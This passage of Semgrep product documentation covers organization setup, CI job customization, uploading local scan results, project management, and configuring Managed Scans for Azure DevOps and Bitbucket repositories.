If you clicked **Don't want to connect to anything yet**:
i. Choose either **Skip setup** if you prefer not to scan anything yet or **See demo project** to view how Semgrep scans and presents findings from a demo `juice-shop` project.
To sign in using your GitLab account:
Navigate to the [ Semgrep AppSec Platform login page](https://semgrep.dev/login/) and click **Sign in with GitLab**.
Click **Authorize** to grant Semgrep the needed permissions and proceed.
Enter an **organization name** when prompted then click **Create new organization**. This organization name is typically the name of the org in GitLab that you want to connect Semgrep to. For individual users, this can also be a personal account.
Either select a **scan environment** or click **Don't want to connect to anything yet?**
If you selected a **scan environment**:
i. Follow the prompts to set up the scan.
If you clicked **Don't want to connect to anything yet**:
ii. Choose either **Skip setup** if you prefer not to scan anything yet or **See demo project** to view how Semgrep scans and presents findings from a demo `juice-shop` project.
You have successfully created an account, your first organization, and have optionally run your first scan.
## Set up organizations
Organizations (orgs) in Semgrep enable users to share access to, and management of, Semgrep resources such as findings and reports.
Semgrep organizations can be **connected** to equivalent GitHub, GitLab, and SSO organizations, which enables users from those organizations to easily join your Semgrep deployment through their existing credentials.
### Next steps for GitHub and GitLab users
* Connect your Semgrep org to your GitHub or GitLab SCM. Refer to [ Connect a source code manager](/deployment/connect-scm) for steps.
### Next steps for Bitbucket and Azure Repos users
* Connect your Semgrep org to your Bitbucket Data Center project or your Azure DevOps project. Refer to [ Connect a source code manager](/deployment/connect-scm) for steps.
* To add members to your Semgrep organization, set up [ SSO authentication](/deployment/sso).
* You can also opt to scan a repository instead.
## Appendices
**NOTE**
These sections are helpful, but are not necessary to set up a deployment.
### How Semgrep organizations work
Users can have more than one organization, and an organization can consist of one or many user accounts. Users must belong to at least one organization when they first sign in to Semgrep.
Organizations can be as small as a single user in a department, or encompass whole companies.
By default, orgs do not manage any authentication or repositories. You add resources and users to an org by connecting to an SCM or SSO, or setting up a Semgrep scan.
Once you have connected to your SSO or SCM, any team member from your GitHub, GitLab, or SSO organization can sign in to Semgrep. This includes developers not part of your security team. To control which resources they are able to see or what policies they can change, configure their **role** through [ user access control features](/deployment/teams/overview).
### Create additional orgs
After you create your first org, you can create multiple orgs to group related resources together:
In Semgrep AppSec Platform, click the drop-down box with your organization name, located at the navigation bar.
Click **Add org**.
Click **Create an organization**.
In the popup, provide an **Organization display name**.
### Organization setup examples
The following examples illustrate what a completed organizational set-up can look like.
#### Single-user organization in GitLab
* In this example, a single GitLab user, `john-doe`, has a Semgrep org account with the same name.
* He has set up his CI workflow to scan `repo-A` and `repo-B` in his GitLab account. The CI job sends scan results (findings) to Semgrep AppSec Platform.
* This is similar to a **personal account** in GitHub or GitLab.
#### Enterprise org with SSO and multiple orgs in GitHub
In this example, a `parent-company` has multiple `subsidiaries`, and wants to use SSO for user authentication:
* Each `subsidiary` is its own GitHub organization.
* The security team is responsible for all `subsidiaries` in `parent-company`. Thus, the security team is a part of all `subsidiaries`.
* The `parent-company` enforces SSO for all of its `subsidiaries`.
* Here, membership and repository scanning are separately managed by two different services.
The Semgrep deployment could look like this:
* Each GitHub org has a corresponding Semgrep org.
* The security team has configured SSO for each Semgrep org.
* This means that `team-member-R` can also access `subsidiary-1-org`. The resources they are able to view or change can be constrained through **roles**.
### Join an existing org
Team members can join a Semgrep organization by logging in through the auth provider specified by your Semgrep admin:
To join an existing org using your GitHub or GitLab credentials:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
Follow the on-screen prompts to grant Semgrep the needed permissions and proceed. This creates your **personal** Semgrep account.
Click the organization name displayed at the top of the **navigation bar** to expand the drop-down menu.
Click **Add org > Join an organization**.
Provide the name of the organization you'd like to join. Then, click **Join**.
To join an existing org through your SSO provider:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
You are automatically signed in to all organizations that your admin has set up for you.
**TIP**
Semgrep admins can also [send developers invites to join their Semgrep org](/deployment/teams/manage#invite-a-user-through-email).
### Delete an existing org
Reach out to [Support](/support) to delete an organization.
# Customize your CI job
Source: https://docs.semgrep.dev/deployment/customize-ci-jobs
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
* You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow.
Customize your CI job to achieve the following goals:
* **Run Semgrep on a schedule**. Run full scans on main or trunk branches at the least intrusive time on developer teams.
* **Run Semgrep when an event triggers**. Run Semgrep when a pull request or merge request (PR or MR) is created.
- **Set a timeout to increase or decrease Semgrep's overall runtime.** If scans are taking too long, or rules are not running, customize your per-rule timeout.
- **Scan large monorepos in parts.** Split a monorepo into separate projects to reduce scan duration. See [Scan monorepos](#scan-monorepos).
## Set up diff-aware scans
**INFO**
Follow the steps in this section only for the following CI providers:
* Jenkins
* CI providers without guidance from Semgrep AppSec Platform
Some Semgrep CI jobs require manual configuration of diff-aware scans, which scan pull requests or merge requests in feature branches. For the CI providers outlined in the preceding list, you can configure a diff-aware job by performing the following steps:
1. Create a separate CI job following the steps in [Add Semgrep to CI through Semgrep AppSec Platform](/deployment/add-semgrep-to-ci/#add-semgrep-to-ci-1).
2. Set the `SEMGREP_BASELINE_REF` variable in your CI configuration file. The value of this environment variable is typically your trunk branch, such as `main` or `master`.
## Set a scan schedule
The following table is a summary of methods and resources to set up schedules for different CI providers.
| CI provider | Where to set schedule |
| :------------------ | :------------------------------------------------------------------------------------------------------------------------------------------------------- |
| GitHub Actions | See [Sample CI configs](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) for information on how to modify your `semgrep.yml` file |
| GitLab CI/CD | Refer to [GitLab documentation](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) |
| Jenkins | Refer to [Jenkins documentation](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#scheduling-jobs-in-jenkins) |
| Bitbucket Pipelines | Refer to [Bitbucket documentation](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/) |
| CircleCI | Refer to [CircleCI documentation](https://circleci.com/scheduled-pipelines#get-started-with-scheduled-pipelines-in-circleci) |
| Buildkite | Refer to [Buildkite documentation](https://buildkite.com/pipelines/scheduled-builds) |
| Azure Pipelines | Refer to [Azure documentation](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/scheduled-triggers?view=azure-devops\&tabs=yaml) |
| Semaphore | Refer to [Semaphore documentation](https://docs.semaphore.io/using-semaphore/tasks) |
## Set a custom timeout
By default, Semgrep spends a maximum of **5 seconds** to scan with **each rule** on each %%targeted|scan\_target%% file. To **set a different timeout**, set the `SEMGREP_TIMEOUT` environment variable (the value is in seconds). Decreasing this value speeds up your scans, but with the possibility of skipping some rules. Alternatively, increasing this value ensures that your most complex rules finish running. For example:
```bash theme={null}
SEMGREP_TIMEOUT="3" # Sets the per-rule timeout to 3 seconds.
```
**CAUTION**
Setting this variable to **0** removes the time limit, meaning that rules can take any amount of time to run. This is not recommended.
Scan monorepos
Monorepos and other large codebases often take longer to scan than smaller repositories. Scan duration depends on codebase size, rule set, and CI resourcesβnot on how long deployment takes.
Semgrep supports scanning a monorepo in parts by treating each subfolder as a separate project in Semgrep AppSec Platform. This can improve scan performance and keep findings organized by component. See [Scanning a monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts) for configuration steps.
# Scan local repositories and upload findings
Source: https://docs.semgrep.dev/deployment/local-to-scp-scans
You can send findings (scan results) from a local repository to Semgrep AppSec Platform. The local repository is a separate **project** from its remote counterpart. This is useful for testing rules and policies, or simply scanning your own work before it is merged to your organization's trunk branch.
## Prerequisites
* Locally installed `semgrep`.
## Best practices
You can keep your local scans private and separate from your team by creating a Semgrep organization with only a single user. This is a **personal** org, similar to a personal account in your source code manager (SCM). This separation ensures that your findings data does not affect organizational records and trends.
To create an org, perform the steps in [Create additional orgs](/deployment/create-account-and-orgs#create-additional-orgs). You don't need to perform any other steps.
## Send findings from local repository scan to Semgrep AppSec Platform
Ensure that you are signed into Semgrep AppSec Platform and you've switched to the org you want to send findings to. It is recommended to send local repository findings to your **personal** org.
In your CLI, log in to Semgrep:
```bash theme={null}
semgrep login
```
Click the login URL provided, or copy and paste it into your browser's address bar. Your are taken to your web browser to complete the login process.
Follow any additional steps.
After logging in, start a scan in your CLI:
```bash theme={null}
semgrep ci
```
## Project separation between local and remote repositories
The project slug for a **remote repository** takes the form `ACCOUNT-NAME/REPOSITORY_NAME.`
The project slug for a **local repository** takes the form `local_scan/REPOSITORY-NAME`.
* **For personal orgs:** A local repository scan does **not** overwrite the findings records of its remote counterpart. They are two separate projects. Personal accounts only have one team member or user: you.
* **For organization orgs**: A local repository scan does **not** overwrite findings records of its remote counterpart. However, if two members have both cloned the same local repository, such as `RepoA`, and both send local `RepoA` findings, one set of findings may overwrite other unintentionally. This is because orgs can have more than one team member, but all local scans are sent to the same project slug.
## Link local scans to their remote repositories
When sending findings from local repositories to Semgrep AppSec Platform, the links shown on the **Findings** page are not generated. They may be missing, or they may not link to the correct file. This is because the scan was performed on your local repository, not remote.
You can optionally set up cross-linking between local and remote repositories to create the correct hyperlinks. To do so, set up environment variables through the CLI:
Navigate to the root of your repository.
Create the `SEMGREP_REPO_URL` variable, setting it to the URL you'd use to access your online repository:
```bash theme={null}
export SEMGREP_REPO_URL=URL_ADDRESS
```
Create the `SEMGREP_BRANCH` variable:
i. Retrieve the branch name:
```bash theme={null}
git rev-parse --abbrev-ref HEAD
```
ii. Set the variable as shown, making sure that you replace the `BRANCH_NAME` placeholder:
```bash theme={null}
export SEMGREP_BRANCH=BRANCH_NAME
```
Create the `SEMGREP_REPO_NAME` variable, setting it to the name of your repository:
```bash theme={null}
export SEMGREP_REPO_NAME=REPO_NAME
```
Create the `SEMGREP_COMMIT` variable:
i. Retrieve the commit hash:
```bash theme={null}
git log -n 1
```
ii. Set the variable by entering the text below, substituting `COMMIT_HASH` with the value from the previous step.
```bash theme={null}
export SEMGREP_COMMIT=COMMIT_HASH
```
After performing these steps, rescan your repository to correctly generate links in Semgrep AppSec Platform.
### Sample values
The following is an example of the variables you'd need to create to generate links in Semgrep AppSec Platform, along with sample values:
```
# Set the repository URL
export SEMGREP_REPO_URL=https://github.com/corporation/s_juiceshop
# Set the repository name
export SEMGREP_REPO_NAME=corporation/s_juiceshop
# Retrieve the branch
git rev-parse --abbrev-ref HEAD
s_update
# Set the branch
export SEMGREP_BRANCH=s_update
# Retrieve the commit hash
git log -n 1
commit fa4e36b9369e5b039bh2220b5h9R61a38b077f29 (HEAD -> s_juiceshop, origin/main, origin/HEAD, master)
# Set the commit hash
export SEMGREP_COMMIT=fa4e36b9369e5b039bh2220b5h9R61a38b077f29
```
# Manage projects
Source: https://docs.semgrep.dev/deployment/manage-projects
View, sort, and tag your projects through the **Projects** page. Refer to this page to manage and troubleshoot thousands of repositories by identifying scan issues or scans with a high number of findings.
**WHAT IS A PROJECT IN SEMGREP APPSEC PLATFORM?**
A **project** is a repository, or part of a repository, that you scan through Semgrep AppSec Platform, either using CI or Semgrep Managed Scans. This also includes local CLI scans whose results you have sent for viewing on Semgrep AppSec Platform. A project's scans can be viewed on the **Project details** page, and its findings can be viewed on the individual Semgrep products' **Findings** pages.
The **Projects** page features two tabs:
* The **Scanning** tab lists all projects that have been provisioned or scanned by Semgrep, regardless of whether the project is actively being scanned. If the project's repository has been archived in the source code manager, it is listed under **Not scanning**.
* The **Not scanning** tab lists projects that are associated with [source code manager (SCM) connections that you've added](/deployment/connect-scm), but which aren't actively being scanned by Semgrep. For GitHub, GitLab, and Bitbucket Data Center, the **Not scanning** page also lists projects where you've archived the corresponding SCM repositories.
Findings from a project marked as archived still show in the Semgrep AppSec Platform **Findings** pages.
## Sort projects
View all projects by navigating to [Semgrep AppSec Platform](https://semgrep.dev/login) and clicking ** Projects**.
To sort projects, click the attribute you want to sort by on the header row. You can only sort by one attribute.
Sort by the following attributes:
* **Project**: Click to toggle between sorting project names alphabetically in ascending or descending order.
* **Last scan**: Click to toggle between sorting the projects' latest scans in ascending or descending order. The sorting is based on when the last scan **started**, regardless of its status. For this reason, you may see that scans with statuses such as **Not started** or **Never finished** are not necessarily grouped together.
## Filter a project's scans
Navigate to the ** Projects** section in [Semgrep AppSec Platform](https://semgrep.dev/login).
Click the project name of interest for **Project details**.
The following filters are available in the first column:
* **Time period**: 7 days or 1 month
* **Scan type**: Full or diff-aware scans
* **Status**: Running, completed, error, or never finished
* **Products**: Code, Supply Chain, Secrets, or AI
* **Duration**: The amount of time the scan took to complete in hours or minutes
**NOTE**
Scan details, such as logs, are available for scans run in the past **1 month**. Semgrep AppSec Platform does not display scan details older than 30 days, since this introduces performance issues due to the increased volume of stored scan data.
## Run scans in bulk
You can scan multiple projects at once from the **Projects** page. This is useful when you want to rescan multiple projects after changing your ruleset or configuration.
To run scans in bulk, select all the projects of interest and click **Scan**.
## Scan details and logs
To view the latest scan's details from the **Projects** page:
Hover over the project's latest scan status. This displays the ** Drawer icon**.
Click the ** icon** to view the scan details drawer. This drawer displays both an **overview** of the scan and **CI or Managed Scan logs**. Local scans do not have a **Logs** tab.
### Permalinks to scan details
You can link to a specific scan's details to share with collaborators or for troubleshooting. Click the ** link icon** on the header to copy the permalink.
## Project details page
Each project listed on the **Projects** page has its own **Project detail** page, which you can access by clicking the project's name. The **Project detail** page is where you can filter scans, configure settings, and view detailed logs for each scan that has been run. Use the **Project detail** page to:
* View trends over time, such as longer or shorter scan durations.
* Share information when troubleshooting scans through the **Scans** tab.
* Update a project's tags, primary branch, and path ignores through the **Settings** tab.
* Rename or delete the project.
Additionally, the Semgrep API allows you to filter tags for use in additional workflows and integrations within your own systems. Create tags based on engineering or department teams, external-facing or internal codebases, and so on. See [Tags](/semgrep-appsec-platform/tags) for more information.
### Configure project settings
You can configure a project's settings by going to the **Project details** page and clicking the **Settings** tab.
See the following pages for more information:
* [Configure Semgrep AppSec Platform to ignore specific file paths](/ignoring-files-folders-code).
* For Semgrep Managed Scans users: [configure your scans](/deployment/managed-scanning/overview).
* [Set a primary branch](/deployment/primary-branch).
* [Set tags](/semgrep-appsec-platform/tags).
## Delete a project
Deleting a project removes all of its findings, metadata, and other records from Semgrep AppSec Platform.
In Semgrep AppSec Platform, click **Projects**.
Search for your project's name.
Click the project name for **Project details**.
Click the **three-dot (...) button** at the header and click **Delete project**.
To delete an archived project:
In Semgrep AppSec Platform, click **Projects**.
Switch to the **Not Scanning** tab of the **Projects** page.
Select the checkbox to **Show archived** projects.
Search for the archived project's name.
Click the project name or **Project details**.
Click the dropdown at the header and click **Delete project**.
**INFO**
It can take up to a day **(24 hours)** for the [Dashboard](/semgrep-appsec-platform/dashboard) to correctly update and remove findings associated with a recently deleted project.
# Add an Azure DevOps repository to Semgrep Managed Scans
Source: https://docs.semgrep.dev/deployment/managed-scanning/azure
Add Azure DevOps repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**.
## Prerequisites and permissions
* Semgrep Managed Scans require repositories hosted by Azure DevOps Services. Azure DevOps Server is not supported.
* Semgrep recommends setting up and configuring Semgrep Managed Scans with an Azure DevOps service account, not a personal account. Regardless of whether you use a personal or service account, the account must be assigned the **Owner** or **Project Collection Administrator** role for the organization.
* During setup and configuration, you must provide a personal access token generated by the account. This token must be authorized with **Full access**.
* Once you have Managed Scans fully configured, you can add restrictions to the token provided to Semgrep. The scopes you must assign to the token include:
* `Code: Read`
* `Code: Status`
* `Member Entitlement Management: Read`
* `Project and Team: Read & write`
* `Pull Request Threads: Read & write`
## Enable Managed Scans and scan your first repository
In Semgrep AppSec Platform, click **Projects**.
Click **Scan new project > Semgrep Managed Scan**.
Select **Azure Devops** as your source code manager.
On the **Add to Azure DevOps Pipeline** page, provide the following information:
i. Your **Access token**. See [User personal access tokens](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate) for token generation information. Ensure you set the Azure DevOps SCM name to `organization_name/project_name`.
ii. The name of your **Azure DevOps Project**.
Click **Connect** to proceed.
You have finished setting up a Semgrep managed scan. Click **Back to Managed Scans** to see your projects.
* After enabling Managed Scans, Semgrep performs a full scan on all the repositories in batches.
* Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A Semgrep AppSec Platform project includes all the repository's findings, history, and scan metadata.
* Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
## Add additional Azure DevOps projects
You can enable Semgrep Managed Scans for additional repositories after onboarding using the following steps:
In Semgrep AppSec Platform, click **Projects**.
Click **Scan new project > Semgrep Managed Scan**.
On the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
i. Optional: If you don't see the repository you want to add, click **Sync projects**.
Select the repositories you want to scan from the list.
Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
Click **Enable**.
### If the page doesn't display any repositories
In Semgrep AppSec Platform, click **Projects**.
If the page doesn't display the repository you want to add, click **Sync projects**.
If the page doesn't display any repositories, click **Sync projects**.
Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
### Convert or migrate an existing Semgrep CI job
You can immediately add any existing project to Managed Scans.
Follow the steps in [Add additional Azure DevOps projects](#add-additional-azure-devops-projects).
Delete the existing pipeline configuration file in your repository if appropriate.
If you plan to continue running some scans in Azure DevOps Pipelines (for example, using Managed Scans to run weekly full scans but Pipelines for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
**TIP**
Semgrep preserves your findings, scans, and triage history.
## Scan management and configuration
### Manually run a full scan
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **gear icon** to access the settings page for that repository.
Click **Run a new scan > Rule-based detection**.
> You can manually run a full scan for both primary and non-primary branches.
### Re-run a failed scan or a scan that never finished
In Semgrep AppSec Platform, click **Projects**.
Click on the project name.
Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
### Disable diff-aware scans on PRs
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the toggle for diff-aware scans.
### Delete a project
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
To delete an archived project:
In Semgrep AppSec Platform, click **Projects**.
Switch to the **Not Scanning** tab of the **Projects** page.
Select the checkbox to **Show archived** projects.
Search for the archived repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they haven't completed after the specified timeout, allowing you to make the Semgrep status check required in your source code manager (SCM) while not blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
#### How fail open works
If enabled, the fail open feature is triggered whenever you open a PR or MR.
Initially, Semgrep sends an update to mark the PR or MR as `pending`.
Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
#### Configure fail open
By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > General > Managed Scans**.
Click the **Fail open** toggle to turn off this feature.
Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
## Disable webhooks
Managed Scans of Azure DevOps projects require webhooks. The webhooks are enabled by default when you add Azure DevOps as a source code manager when setting up Managed Scans. Webhooks are required for diff-aware scans and triaging by PR or MR comments.
You can turn off webhooks at any time by following these steps:
In Semgrep AppSec Platform, go to [Settings > Source code managers](https://semgrep.dev/orgs/-/settings/source-code).
Find your Azure DevOps connection, and click the toggle to turn off **Incoming webhooks**.
## Revoke Semgrep's access to your repositories
The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
Find the Azure DevOps entry on the list of **Source code managers** and click **Remove**.
Click **Remove** to confirm.
## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
Sign in to Semgrep AppSec Platform.
Go to Projects and find the project you no longer want scanned with Semgrep Managed Scanning. Click the project's **Details** page > **Settings** tab.
Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
## Enable status checks
To protect branches whose repositories are automatically scanned by Semgrep, enable Azure DevOps status checks:
Sign in to Azure DevOps and navigate to the Azure DevOps project you've connected to Semgrep.
Go to **Repos > Branches**.
Find the branch to which the status check should be applied, and click the three vertical dots to open up the **More options** dialog.
Select **Branch policies**.
Ensure that the branch to which you want the status check applied is selected. Navigate to **Status Checks**, and click the **Add +** button to proceed.
In the dialog that appears:
i. Leave the **Status to check** box blank, since this value is auto-populated as you provide values in subsequent steps.
ii. Select the **Enter genre/name separately** box. Provide the following values:
a. **Genre**: `security`
b. **Name**: `semgrep-cloud-platform/scan`
Once you provide the **Genre** and **Name**, Azure DevOps auto-populates **Status to check**.
iii. Choose whether the status check needs to succeed or not to complete pull requests. Selecting **Required** means that a status of `succeeded` is necessary to complete pull requests. Selecting **Optional** means that a status of `failed` will not block the completion of pull requests.
Click **Save** to proceed.
At this point, all subsequent pull requests opened against this branch are subject to the status check you created.
See [Configure a branch policy for an external service](https://learn.microsoft.com/en-us/azure/devops/repos/git/pr-status-policy?view=azure-devops) for additional information about status checks.
## Troubleshooting: multiple projects
If you currently scan Azure DevOps repositories in your CI pipeline, you may see findings assigned to two separate projects once you enable Semgrep Managed Scans. For example, findings from Managed Scans go to the `semgrep/frontend/webpage` project, while findings from CI scans go to the `frontend/webpage` project. If this is the case, Semgrep AppSec Platform flags these findings with **Possible duplicate**. Please [contact support](/support) for addition assistance.
## Appendices
### Scan logs
To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans listed first.
**INFO**
It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
### Scan statistics
**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
# Add a Bitbucket repository to Semgrep Managed Scans
Source: https://docs.semgrep.dev/deployment/managed-scanning/bitbucket
Add Bitbucket repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**.
## Prerequisites and permissions
Semgrep Managed Scans require one of the following plans:
* Bitbucket Cloud Premium
* Bitbucket Data Center (v8.8 or above for diff-aware scans)
Bitbucket Cloud
You must provide a Bitbucket [workspace access token](https://support.atlassian.com/bitbucket-cloud/docs/create-a-workspace-access-token/) to Semgrep, which can be created by a user with the `Product Admin` role. Once you have Semgrep Managed Scans fully configured, you can update the token provided to Semgrep to one that's more restrictive. The scopes you must assign to the token include:
* `webhook (read and write)`
* `repository (read and write)`
* `pullrequest (read and write)`
* `project (admin)`
* `account (read)`
Webhook permissions are required to support diff-aware scans.
Bitbucket Data Center
You must provide a Bitbucket [HTTP access token](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html) to Semgrep. The user who creates the token must be assigned the **Project Admin** role for the project you connect to Semgrep.
#### Create an HTTP access token
Log in to Bitbucket Data Center as a user with the **Project Admin** role for the project you want to scan.
Go to **Profile picture > Manage account > HTTP access tokens**.
Click **Create token**.
Set the token name, permissions, and expiry. Under **Permissions**, select **Project admin** for the project Semgrep will access.
Copy the token value and provide it when you [connect Bitbucket Data Center to Semgrep](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects) or enable Managed Scans.
Project-level webhooks are required to support diff-aware scans.
## Enable Semgrep Managed Scans and scan your first repository
In Semgrep AppSec Platform, click **Projects**.
Click **Scan new project > Semgrep Managed Scan**.
Click **Manage Connections** and then **+ Connect more**.
Select **Bitbucket**.
In the **Set up Managed Scans** page that appears, provide the information needed by Semgrep to connect to your Bitbucket project:
i. Select **Bitbucket** or **Bitbucket Data Center**.
ii. Provide your **Access token**.
iii. Provide the name of your **Bitbucket workspace**.
iv. *For Bitbucket Data Center users only*: provide the **Bitbucket Data Center URL**.
v. Click **Connect**.
Repeat the steps above for each additional Bitbucket workspace you'd like added to Semgrep.
You have successfully set up Managed Scans for your workspace or project.
* After enabling Managed Scans, Semgrep performs a full scan in batches on all the repositories in the workspace.
* Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A project in Semgrep AppSec Platform includes all the findings, history, and scan metadata of that repository.
* Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
## Add additional Bitbucket projects
You can enable Managed Scans for additional repositories after onboarding using the following steps:
In Semgrep AppSec Platform, click **Projects**.
Click **Scan new project > Semgrep Managed Scan**.
In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
i. Optional: If you do not see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
Select the repositories you want to scan from the list.
Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
Click **Enable**.
### If the page does not display any repositories
Ensure that you've connected your Bitbucket account by following the steps in [Connect a source code manager](/deployment/connect-scm) and confirm your token meets the [prerequisites](#prerequisites-and-permissions).
In Semgrep AppSec Platform, click **Projects**.
If the page does not display the repository you want to add, click **Can't find your project? > Sync projects**.
If the page does not display any repositories, click **Sync projects**.
Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
### Convert or migrate an existing Semgrep CI job
You can immediately add any existing project to Managed Scans.
Follow the steps in [Enable Semgrep Managed Scans](#enable-managed-scanning-and-scan-your-first-repository).
Delete the `bitbucket-pipelines.yml` file in your Bitbucket repository if appropriate.
If you plan to continue running some scans in Bitbucket CI/CD Pipelines (for example, using Managed Scans to run weekly full scans but Bitbucket CI/CD Pipelines for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
**TIP**
Semgrep preserves your findings, scans, and triage history.
## Scan management and configuration
### Manually run a full scan
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **gear icon** to access the settings page for that repository.
Click **Run a new scan > Rule-based detection**.
> You can manually run a full scan for both primary and non-primary branches.
### Re-run a failed scan or a scan that never finished
In Semgrep AppSec Platform, click **Projects**.
Click on the project name.
Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
### Disable diff-aware scans on PRs
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the toggle for diff-aware scans.
### Delete a project
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
To delete an archived project:
In Semgrep AppSec Platform, click **Projects**.
Switch to the **Not Scanning** tab of the **Projects** page.
Select the checkbox to **Show archived** projects.
Search for the archived repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they have not completed after the specified timeout. This lets you make the Semgrep status check required in your source code manager (SCM) without blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
#### How fail open works
If enabled, the fail open feature is triggered whenever you open a PR or MR.
Initially, Semgrep sends an update to mark the PR or MR as `pending`.
Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
#### Configure fail open
By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > General > Managed Scans**.
Click the **Fail open** toggle to turn off this feature.
Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
## Disable webhooks
Performing diff-aware Managed Scans of Bitbucket projects requires webhooks to be enabled. Webhooks are enabled by default when you add Bitbucket as a source code manager when setting up Semgrep Managed Scans. You can disable webhooks at any time by following these steps:
In Semgrep AppSec Platform, go to [Settings > Source code managers](https://semgrep.dev/orgs/-/settings/source-code).
Find your Bitbucket connection, and click the toggle to disable **Incoming webhooks**.
This will stop any diff-aware scans of your projects.
## Revoke Semgrep's access to your repositories
